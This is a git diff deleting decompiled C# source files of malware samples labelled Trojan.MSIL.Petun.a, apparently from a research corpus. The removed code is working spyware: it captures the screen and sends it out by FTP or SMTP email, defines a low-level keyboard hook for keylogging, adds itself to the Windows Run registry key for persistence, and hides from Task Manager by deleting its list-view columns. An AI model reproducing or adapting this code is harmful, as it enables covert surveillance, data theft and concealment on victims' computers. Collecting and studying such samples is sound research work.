ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string UpFTPImg( - ref string Host, - ref string Dir, - ref string Username, - ref string Password) - { - string str1; - try - { - string str2 = "\\" + Module1.LT; - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + Host + Dir + str2 + ".gif", Username, Password); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port, - ref bool TakePic = false) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (TakePic) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct rQiIitnG - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum ZbvYdqnW - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - wwjWwTgu = 35, // 0x00000023 - QifDYwDy = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - IlBUnHCq = 45, // 0x0000002D - gknfEhMv = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - UeCiMb = 162, // 0x000000A2 - mhiglX = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.rQiIitnG lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/My/MyApplication.cs deleted file mode 100644 index e4a03a41..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: RSBot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F411A9E0-B2F1-4246-B0C3-0F077BF58BE4 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/My/MyComputer.cs deleted file mode 100644 index 50df3769..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: RSBot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F411A9E0-B2F1-4246-B0C3-0F077BF58BE4 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/My/MyProject.cs deleted file mode 100644 index 2e346e3e..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: RSBot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F411A9E0-B2F1-4246-B0C3-0F077BF58BE4 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/ROS.cs deleted file mode 100644 index dfe17f07..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: RSBot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F411A9E0-B2F1-4246-B0C3-0F077BF58BE4 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\PZfbnEFa", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.TTimphG, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index 5e5907ba..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {6CC02B8D-4F74-4F9F-8A82-6A31B8725672} - WinExe - RSBot - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index dec3b2de..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RSBot", "Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a.csproj", "{6CC02B8D-4F74-4F9F-8A82-6A31B8725672}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {6CC02B8D-4F74-4F9F-8A82-6A31B8725672}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6CC02B8D-4F74-4F9F-8A82-6A31B8725672}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6CC02B8D-4F74-4F9F-8A82-6A31B8725672}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6CC02B8D-4F74-4F9F-8A82-6A31B8725672}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/clJqUjQW.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/clJqUjQW.cs deleted file mode 100644 index 0a6cd303..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/clJqUjQW.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: clJqUjQW -// Assembly: RSBot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F411A9E0-B2F1-4246-B0C3-0F077BF58BE4 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a.exe - -using System; -using System.Threading; - -internal class clJqUjQW : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public clJqUjQW(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/hfkVOWz.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/hfkVOWz.cs deleted file mode 100644 index 48cee749..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/hfkVOWz.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: hfkVOWz -// Assembly: RSBot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F411A9E0-B2F1-4246-B0C3-0F077BF58BE4 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class hfkVOWz -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - hfkVOWz.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) hfkVOWz.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - hfkVOWz.EnumChildWindows(window, new hfkVOWz.EnumDelegate(hfkVOWz.EnumChildWindows), 0); - } - - public static bool Running - { - get => hfkVOWz.t.Enabled; - set - { - if (value) - { - if (hfkVOWz.t.Interval != 500) - { - Timer t = hfkVOWz.t; - hfkVOWz.t.Tick += new EventHandler(hfkVOWz.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - hfkVOWz.t.Enabled = true; - hfkVOWz.t.Start(); - } - } - else - { - hfkVOWz.t.Enabled = false; - hfkVOWz.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = hfkVOWz.GetClass(lngHwnd); - string titleText = hfkVOWz.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - hfkVOWz.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - hfkVOWz.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (hfkVOWz.GetWindowTextLength(handle) + 1); - hfkVOWz.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Chqqp.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Chqqp.cs deleted file mode 100644 index dbe7a6e6..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Chqqp.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Chqqp -// Assembly: Connection, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F65524D0-7C63-44D9-A38F-EF6433627B3A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Chqqp -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int 